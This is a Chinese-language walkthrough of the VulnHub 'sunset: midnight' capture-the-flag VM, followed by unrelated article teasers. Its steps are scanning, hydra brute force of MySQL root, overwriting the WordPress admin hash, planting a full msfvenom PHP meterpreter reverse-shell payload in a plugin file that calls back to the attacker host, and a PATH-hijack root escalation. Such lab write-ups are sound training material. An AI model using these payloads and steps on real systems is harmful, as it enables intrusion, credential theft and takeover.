sunset: midnight

https://www.vulnhub.com/entry/sunset-midnight,517/

主機發現端口掃描

  1. 探測存活主機,8是靶機

    nmap -sP 192.168.56.0/24                              
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:49 CST
    Nmap scan report for 192.168.56.1
    Host is up (0.00044s latency).
    MAC Address: 0A:00:27:00:00:14 (Unknown)
    Nmap scan report for 192.168.56.2
    Host is up (0.00028s latency).
    MAC Address: 08:00:27:37:A2:CB (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.8
    Host is up (0.00039s latency).
    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)
    Nmap scan report for 192.168.56.10
    
  2. 掃描靶機所有開放端口

    nmap -sT -min-rate 10000 -p- 192.168.56.8   
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:50 CST
    Nmap scan report for sunset-midnight (192.168.56.8)
    Host is up (0.0012s latency).
    Not shown: 65532 closed tcp ports (conn-refused)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    3306/tcp open  mysql
    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)
    
  3. 掃描服務版本及系統版本

    nmap -sV -sT -O -p 22,80,3306 192.168.56.8
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:51 CST
    Nmap scan report for sunset-midnight (192.168.56.8)
    Host is up (0.00052s latency).PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
    80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
    3306/tcp open  mysql   MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 4.X|5.X
    OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
    OS details: Linux 4.15 - 5.8
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  4. 掃描漏洞

    nmap -script=vuln -p 22,80,3306 192.168.56.8                                                                                                                                                                  
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:51 CST                                                                                                                                                
    Nmap scan report for sunset-midnight (192.168.56.8)                                                      
    Host is up (0.00042s latency).                                                                           PORT     STATE SERVICE                                                                                   
    22/tcp   open  ssh                                                                                       
    80/tcp   open  http     
    | http-wordpress-users:                                                                                                                                                                                           
    | Username found: admin                                                                                                                                                                                           
    |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'                                                                                                               
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.                                                                                                                                                  
    |_http-dombased-xss: Couldn't find any DOM based XSS.                                                                                                                                                             
    | http-enum:                                                                                             
    |   /blog/: Blog                                                                                         
    |   /wp-login.php: Possible admin folder                                                                 
    |   /wp-json: Possible admin folder                                                                      
    |   /robots.txt: Robots file                                                                             
    |   /readme.html: Wordpress version: 2                                                                   
    |   /: WordPress version: 5.4.2                                                                                                                                                                                   
    |   /feed/: Wordpress version: 5.4.2                                                                                                                                                                              
    |   /wp-includes/images/rss.png: Wordpress version 2.2 found.                                                                                                                                                     
    |   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.                                                                                                                                               
    |   /wp-includes/images/blank.gif: Wordpress version 2.6 found.                                                                                                                                                   
    |   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.                                                                                                                                                
    |   /wp-login.php: Wordpress login page.                                                                 
    |   /wp-admin/upgrade.php: Wordpress login page.                                                         
    |   /readme.html: Interesting, a readme.                                                                 
    |_  /contact/: Potentially interesting folder                                                                                                                                                                     
    3306/tcp open  mysql                                                                                                                                                                                              
    |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)                                                                                                                                       
    MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)     
    

    靶機CMS是wordpress ,確定版本后可以查詢公開漏洞進行利用

    并且掃出mysql可能存在cve2012-2122

web滲透

  1. 知道CMS是wordpress,就用wpscan來掃一下

    wpscan --url http://sunset-midnight/  
    _______________________________________________________________  __          _______   _____                            \ \        / /  __ \ / ____|                                                                    \ \  /\  / /| |__) | (___   ___  __ _ _ __ ?           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ \  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|                                                   WordPress Security Scanner by the WPScan Team                                                   Version 3.8.27                                                                  Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart                          
    _______________________________________________________________                                          [i] It seems like you have not updated the database for some time.                                       
    [?] Do you want to update now? [Y]es [N]o, default: [N]n                                                 
    [+] URL: http://sunset-midnight/ [192.168.56.8]                                                          
    [+] Started: Thu Dec  5 17:56:06 2024                                                                    Interesting Finding(s):                                                                                  [+] Headers                                                                                              | Interesting Entry: Server: Apache/2.4.38 (Debian)  | Found By: Headers (Passive Detection)                                                                 | Confidence: 100%                                                                                      [+] robots.txt found: http://sunset-midnight/robots.txt                                                  | Interesting Entries:                                                                                  |  - /wp-admin/                                                                                         |  - /wp-admin/admin-ajax.php                                                                           | Found By: Robots Txt (Aggressive Detection)                                                           | Confidence: 100%[+] XML-RPC seems to be enabled: http://sunset-midnight/xmlrpc.php| Found By: Direct Access (Aggressive Detection)                                                        | Confidence: 100%                                                                                      | References:                                                                     |  - http://codex.wordpress.org/XML-RPC_Pingback_API                                                    |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/                  |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/                         |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://sunset-midnight/readme.html   | Found By: Direct Access (Aggressive Detection)                                                        | Confidence: 100%                                                                                      [+] Upload directory has listing enabled: http://sunset-midnight/wp-content/uploads/                     | Found By: Direct Access (Aggressive Detection)                                                        | Confidence: 100%                                                                                      [+] The external WP-Cron seems to be enabled: http://sunset-midnight/wp-cron.php| Found By: Direct Access (Aggressive Detection)                                                        | Confidence: 60%                                                                                       | References:                                                                                           |  - https://www.iplocation.net/defend-wordpress-from-ddos                                              |  - https://github.com/wpscanteam/wpscan/issues/1299                                                   [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).                               | Found By: Rss Generator (Passive Detection)                                                           |  - http://sunset-midnight/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>              |  - http://sunset-midnight/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>       [+] WordPress theme in use: twentyseventeen                                                              | Location: http://sunset-midnight/wp-content/themes/twentyseventeen/                                   | Last Updated: 2024-07-16T00:00:00.000Z                                                                | Readme: http://sunset-midnight/wp-content/themes/twentyseventeen/readme.txt                           | [!] The version is out of date, the latest version is 3.7                                             | Style URL: http://sunset-midnight/wp-content/themes/twentyseventeen/style.css?ver=20190507            | Style Name: Twenty Seventeen                                                                          | Style URI: https://wordpress.org/themes/twentyseventeen/                                              | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...| Author: the WordPress team                       | Author URI: https://wordpress.org/                                                                    |                                                                                                       | Found By: Css Style In Homepage (Passive Detection)                                                   | Confirmed By: Css Style In 404 Page (Passive Detection)                                    |                                                                                                       | Version: 2.3 (80% confidence)                                                                         | Found By: Style (Passive Detection)                                                                   |  - http://sunset-midnight/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'
    [+] Enumerating All Plugins (via Passive Methods)                                                        
    [+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:                                                                                [+] simply-poll-master                                                                                   | Location: http://sunset-midnight/wp-content/plugins/simply-poll-master/                               |                                                                                                       | Found By: Urls In Homepage (Passive Detection)                                                        | Confirmed By: Urls In 404 Page (Passive Detection)                           |                                                                                                       | Version: 1.5 (100% confidence)                                                                        | Found By: Readme - Stable Tag (Aggressive Detection)                                                  |  - http://sunset-midnight/wp-content/plugins/simply-poll-master/readme.txt                            | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)                                       |  - http://sunset-midnight/wp-content/plugins/simply-poll-master/readme.txt                            [+] Enumerating Config Backups (via Passive and Aggressive Methods)                                      Checking Config Backups - Time: 00:00:01 <==========> (137 / 137) 100.00% Time: 00:00:01[i] No Config Backups Found.                                                                             [!] No WPScan API Token given, as a result vulnerability data has not been output.                       
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register    [+] Finished: Thu Dec  5 17:56:14 2024                                                                   
    [+] Requests Done: 172                                                                                   
    [+] Cached Requests: 7                                                                                   
    [+] Data Sent: 43.472 KB                                                                                 
    [+] Data Received: 444.822 KB
    [+] Memory used: 331.578 MB                         
    [+] Elapsed time: 00:00:08  
    

    版本為version 5.4.2 ,模板用的是twentyseventeen ,沒掃到插件

  2. 網上沒找到什么漏洞可以利用的

cve2012-2122

  1. 上邊nmap掃描出可能存在cve2012-2122 ,我們嘗試利用

    msf6 > search 2012-2122 
    msf6 exploit(multi/handler) > use 0 
    msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set rhosts 192.168.56.8
    rhosts => 192.168.56.8                              
    msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > run                                            [+] 192.168.56.8:3306     - 192.168.56.8:3306 The server allows logins, proceeding with bypass test      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 10% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 20% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 30% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 40% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 50% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 60% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 70% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 80% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 90% complete                      
    [*] 192.168.56.8:3306     - 192.168.56.8:3306 Authentication bypass is 100% complete                     
    [-] 192.168.56.8:3306     - 192.168.56.8:3306 Unable to bypass authentication, this target may not be vulnerable
    [*] 192.168.56.8:3306     - Scanned 1 of 1 hosts (100% complete)                                         
    [*] Auxiliary module execution completed
    

    但是沒有利用成功

暴力破解

  1. 沒有思路了,可以嘗試下暴力破解,wordpress我們枚舉出了admin用戶,mysql我們嘗試破解root用戶,同時進行破解

  2. 暴力破解wordpress

    wpscan --url http://sunset-midnight/ -U admin --passwords /usr/share/wordlists/rockyou.txt
    
  3. 暴力破解mysql

    hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.8 mysql
    
  4. 很快就爆破出了mysql的密碼

    hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.8 mysql
    Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-05 23:13:16
    [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
    [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
    [DATA] attacking mysql://192.168.56.8:3306/
    [3306][mysql] host: 192.168.56.8   login: root   password: robert
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-05 23:13:21
    

    密碼是robert

數據庫尋找敏感信息

  1. 利用Navicat登錄mysql ,尋找WP的用戶表

    在這里插入圖片描述

    發現密碼,不過是加密的

  2. 通過hash-identifier 識別

    hash-identifier     ##########################################################################     __  __                     __           ______    _____           #  #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         ##    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        ##     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       ##      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      ##       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      ##        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 ##                                                             By Zion3R ##                                                    www.Blackploit.com ##                                                   Root@Blackploit.com ##########################################################################
    --------------------------------------------------HASH: $P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/ Possible Hashs:
    [+] MD5(Wordpress)
    
  3. 嘗試破解沒破解出來

  4. 創建了一個MD5替換上去即可

    下邊是123456MD5值,將其替換上去

    e10adc3949ba59abbe56e057f20f883e
    

    在這里插入圖片描述

  5. 嘗試登陸WP后臺

后臺getshell

  1. 嘗試登錄WP后臺,密碼是上邊替換上去的123456

    在這里插入圖片描述

  2. PluginsPlugin Editor 的右上角的Select plugin to edit 選擇Simply Poll 然后select

    在這里插入圖片描述

  3. 然后選擇simply-poll.php 進行修改,寫入phpinfo進行測試

    在這里插入圖片描述

  4. 路徑為 /wp-content/plugins/simply-poll-master/simply-poll.php ,訪問

    在這里插入圖片描述

    測試成功

  5. 直接上線MSF (.10kali IP)

    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 192.168.56.10
    msf6 exploit(multi/handler) > set lport 1234
    msf6 exploit(multi/handler) > run
    

    然后再msfvenom生成payload ,然后將代碼寫入到上邊的simply-poll.php

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.10 lport=1234 -f raw            
    [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
    [-] No arch selected, selecting arch: php from the payload
    No encoder specified, outputting raw payload
    Payload size: 1114 bytes/*<?php /**/ error_reporting(0); $ip = '192.168.56.10'; $port = 1234; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
    

    在這里插入圖片描述

  6. 然后再次訪問/wp-content/plugins/simply-poll-master/simply-poll.php MSF獲取到shell

    msf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 192.168.56.10:1234 
    [*] Sending stage (39927 bytes) to 192.168.56.8
    [*] Meterpreter session 1 opened (192.168.56.10:1234 -> 192.168.56.8:50890) at 2024-12-05 23:59:21 +0800meterpreter > 
    

提權

  1. 查看權限

    meterpreter > sysinfo
    Computer    : midnight
    OS          : Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
    Meterpreter : php/linuxmeterpreter > getuid
    Server username: www-data$ ip add
    ip add
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
    2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000link/ether 08:00:27:a6:df:28 brd ff:ff:ff:ff:ff:ffinet 192.168.56.8/24 brd 192.168.56.255 scope global dynamic enp0s3valid_lft 431sec preferred_lft 431secinet6 fe80::a00:27ff:fea6:df28/64 scope link valid_lft forever preferred_lft forever
    
  2. 尋找敏感文件

    • /var/www/html/wp-config.php 發現jose賬號密碼(加密)

      /** MySQL database username */                                                                                                                               
      define( 'DB_USER', 'jose' );                                                                                                                                 /** MySQL database password */                                                                                                                               
      define( 'DB_PASSWORD', '645dc5a8871d2a4269d4cbe23f6ae103' ); 
      
  3. 嘗試破解

    看起來是MD5,使用開膛手以及在線網站破解,無果

  4. 最后嘗試直接使用這串字符串登錄

    ssh jose@192.168.56.8  
    jose@192.168.56.8's password: 
    Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64The programs included with the Debian GNU/Linux system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
    permitted by applicable law.
    Last login: Sat Jul 18 15:33:29 2020 from 192.168.100.139
    jose@midnight:~$ 
    

    登陸成功。。。神經

  5. 尋找敏感文件

    • 家目錄下user.txt

      jose@midnight:~$ cat user.txt 
      956a9564aa5632edca7b745c696f6575
      

      應該是flag

    • suid

      jose@midnight:~$ find / -perm -u=s -type f 2>/dev/null
      /usr/bin/su
      /usr/bin/sudo
      /usr/bin/status
      /usr/bin/chfn
      /usr/bin/passwd
      /usr/bin/chsh
      /usr/bin/umount
      /usr/bin/newgrp
      /usr/bin/mount
      /usr/bin/gpasswd
      /usr/lib/eject/dmcrypt-get-device
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/openssh/ssh-keysign
      
  6. suid發現/usr/bin/status 嘗試執行

    jose@midnight:/tmp$ status
    sh: 1: service: not found
    Status of the SSH server:
    

    去尋找了service,但是沒找到

  7. 思路:在新建service然后里邊是提權代碼,讓status去找它(通過環境變量)

    • 新建service文件

      jose@midnight:/tmp$ echo "/bin/bash" > service
      jose@midnight:/tmp$ chmod 777 service 
      
    • 修改環境變量,將/tmp目錄放在前頭(看目錄進行修改)

      jose@midnight:/tmp$ export PATH=/tmp:$PATH
      jose@midnight:/tmp$ echo $PATH
      /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
      
    • 運行status

      jose@midnight:/tmp$ /usr/bin/status
      root@midnight:/tmp# 
      

      獲得root!!!

  8. 讀取flag

    root@midnight:~# cd /root
    root@midnight:/root# ls
    root.txt  status  status.c
    root@midnight:/root# cat root.txt ___   ____/' --;^/ ,-_\     \ | // / --o\ o-\ \\   --(_)--/-/-/|o|-|\-\\|\\   / | \'`  ` |-|   `` '|-||-|O|-(\,__...|-|\--,\_....,;;;;;;;;;;;;;;;;;;;;;;;;,.
    ~,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,  ______   ---------   _____     ------db2def9d4ddcb83902b884de39d426e6Thanks for playing! - Felipe Winsnes (@whitecr0wz)
    

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/63359.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/63359.shtml
英文地址,請注明出處:http://en.pswp.cn/web/63359.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【PyTorch】動態調整學習率 torch.optim.lr_scheduler.StepLR 調度器

文章目錄 1. torch.optim.lr_scheduler.StepLR 官方文檔詳解2. 使用示例2.1 官方提供使用示例2.2 自己寫代碼測試方法2.2.1 get_last_lr() 方法2.2.2 state_dict() 方法2.2.3 load_state_dict() 保存和加載調度器 3. 思考3.1 為什么需要state_dict()3.2 get_lr() 與 get_last_l…

伊克羅德與九科信息共同發布RPA+AI智能機器人解決方案

12月12日&#xff0c;伊克羅德信息在上海舉辦“創見AI&#xff0c;邁進智能化未來——科技賦能零售電商”活動&#xff0c;與九科信息、亞馬遜云科技共同探討與分享&#xff0c;融合生成式AI技術和智能自動化&#xff08;RPA,Robotic Process Automation&#xff09;在電商零售…

hutool一些典型的方法使用筆記

hutool一些典型的方法使用筆記 1 克隆1.1 深克隆 2類型轉換2.1其他類型轉換為字符串2.2 轉換為日期對象2.3 數組轉集合2.4 Unicode和字符串轉換2.5 數字轉中文 文檔地址&#xff1a;https://blog.csdn.net/dxjren/article/details/144468399 1 克隆 1.1 深克隆 定義一個實體類…

QT實戰經驗總結 連載中

QT實戰經驗總結 在看書系統學習后&#xff0c;就開始實戰了&#xff0c;會遇到很多問題1.信號和槽的思考2.在python 或 C 代碼中&#xff0c;對 QML 代碼中控件的調用關于在一個窗口上不斷打開新窗口 在看書系統學習后&#xff0c;就開始實戰了&#xff0c;會遇到很多問題 pyt…

從 CephFS 到 JuiceFS:同程旅行億級文件存儲平臺構建之路

隨著公司業務的快速發展&#xff0c;同程旅行的非結構化的數據突破 10 億&#xff0c;在 2022 年&#xff0c;同程首先完成了對象存儲服務的建設。當時&#xff0c;分布式文件系統方面&#xff0c;同程使用的是 CephFS&#xff0c;隨著數據量的持續增長&#xff0c;CephFS 的高…

固定資產分類,提升資產盤活效益

固定資產是企業長期使用的重要資源&#xff0c;涵蓋范圍廣、種類多&#xff0c;不同的資產需要針對性管理。通過科學的分類與高效的盤活策略&#xff0c;不僅可以優化資源配置&#xff0c;還能提升企業資產的利用效率和經濟效益。以下將詳細解析固定資產的分類方式和盤活效益的…

富途證券C++面試題及參考答案

C++ 中堆和棧的區別 在 C++ 中,堆和棧是兩種不同的內存區域,它們有許多區別。 從內存分配方式來看,棧是由編譯器自動分配和釋放的內存區域。當一個函數被調用時,函數內的局部變量、函數參數等會被壓入棧中,這些變量的內存空間在函數執行結束后會自動被釋放。例如,在下面的…

【字符串匹配算法——BF算法】

&#x1f308;個人主頁: Aileen_0v0 &#x1f525;熱門專欄: 華為鴻蒙系統學習|計算機網絡|數據結構與算法 ?&#x1f4ab;個人格言:“沒有羅馬,那就自己創造羅馬~” 文章目錄 BF算法介紹及過程演示代碼實現過程下節預告KMP算法利用next數組存儲子串中j回退的位置&#xff08;…

Linux 文件系統目錄結構及其簡要介紹

Hello! 親愛的小伙伴們&#xff0c;大家好呀&#xff08;Smile~&#xff09;&#xff01;我是 H u a z z i Huazzi Huazzi&#xff0c;歡迎觀看本篇博客&#xff0c;接下來讓我們一起來學習一下Linux 文件系統目錄結構吧&#xff01;祝你有所收獲&#xff01; 本篇博客的目錄&a…

小米準備入局Nas?Nas究竟是啥?能干啥?

一開頭就來了個三連問&#xff1a;小米準備入局Nas&#xff1f;Nas究竟是啥&#xff1f;Nas能干啥&#xff1f; 好像這段時間Nas這個詞頻頻出現&#xff0c;但很多小伙伴都不知道這個是什么設備。首先咱們來解決一下名詞Nas是什么意思。 什么是Nas&#xff1f; 為了盡可能解釋…

基于Socket實現客戶端和服務端的Tcp通信(C#)

0.前言 使用C#和Unity實現復刻Liar’s bar中的功能 軟件開發大作業 本系列文章用于記錄與分享開發過程中使用到的知識點&#xff0c;以及常見錯誤 本文主要描述有關網絡編程的內容 目錄 0.前言1.使用Socket搭建Server1.1Server端的Socket連接1.2 Server端接收Client的信息1.3…

【mysql】如何查看大表記錄行數

目錄 1. 使用 ANALYZE TABLE 和 SHOW TABLE STATUS2. 查詢 INFORMATION_SCHEMA 表3. 使用索引統計信息4. 維護行數緩存5. 使用分區計數 1. 使用 ANALYZE TABLE 和 SHOW TABLE STATUS 1.ANALYZE TABLE 可以更新表的統計信息&#xff0c;然后使用 SHOW TABLE STATUS 來查看估算的…

文件斷點續傳(視頻播放,大文件下載)

客戶端每次請求取大文件部分數據。 瀏覽器播放mp4視頻時&#xff0c;會首先傳Range消息頭&#xff0c;檢測到206狀態碼&#xff0c;和Content-Range&#xff0c;Accept-Ranges 會自動請求余下數據。后端需要在文件任意偏移量取數據。 參考&#xff1a; springboot項目實現斷…

游戲AI實現-尋路算法(A*)

A*&#xff08;A-star&#xff09;是一種圖遍歷和尋路算法&#xff0c;由于其完整性、最優性和最佳效率&#xff0c;它被用于計算機科學的許多領域。給定一個加權圖、一個源節點和一個目標節點&#xff0c;該算法將找到從源到目標的最短路徑&#xff08;相對于給定的權重&#…

any/all 子查詢優化規則的原理與解析 | OceanBase查詢優化

背景 在通常情況下&#xff0c;當遇到包含any/all子查詢的語句時&#xff0c;往往需要遵循嵌套執行的方式&#xff0c;因此其查詢效率較低。Oceanbase中制定了相應的any/all子查詢優化規則&#xff0c;能夠能夠識別并優化符合條件的any/all子查詢&#xff0c;從而有效提升查詢…

[HNOI2002] 營業額統計 STL - set集合

文章目錄 [HNOI2002] 營業額統計題目描述樣例輸入 #1樣例輸出 #1 提示題解相關知識點set [HNOI2002] 營業額統計 STL - set解題 題目描述 Tiger 最近被公司升任為營業部經理&#xff0c;他上任后接受公司交給的第一項任務便是統計并分析公司成立以來的營業情況。 Tiger 拿出…

汽車供應鏈 “劇變”開始,“智能感知潛在龍頭”誕生

智能汽車產業鏈“劇變”已經開啟&#xff0c;智能感知軟硬件能力的權重正在不斷被放大。 比如滿足高階泊車的第二代AK2超聲波傳感器、滿足人機共駕場景需求的電子外后視鏡&#xff08;CMS&#xff09;、iTOF 3D成像視覺感知&#xff08;用于艙內監控&#xff09;等新產品&…

Latex中表格添加底部文本注釋并調整對齊

如何實現從第一個表到第三個表的轉換&#xff0c; 其中主要涉及到兩點&#xff1a; &#xff08;1&#xff09;底部腳注與表格自動對齊并縮進換行 &#xff08;2&#xff09;表格自適應頁面寬度 底部腳注的對齊與換行縮進需要用到 \usepackage{threeparttable} \usepackage{…

SQL 查詢方式比較:子查詢與自連接

在 SQL 中&#xff0c;子查詢和自連接是兩種常見的查詢方式&#xff0c;它們的功能雖然可以相同&#xff0c;但實現的方式不同。本文通過具體示例&#xff0c;深入探討這兩種查詢方式&#xff0c;并配合數據展示&#xff0c;幫助大家理解它們的使用場景和差異。 數據示例 假設…

html基礎-認識html

1.什么是html html是瀏覽器可以識別的的標記語言&#xff0c;我們在瀏覽器瀏覽的網頁就是一個個的html文檔 <!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title>認識html</title> </head> <body><h1…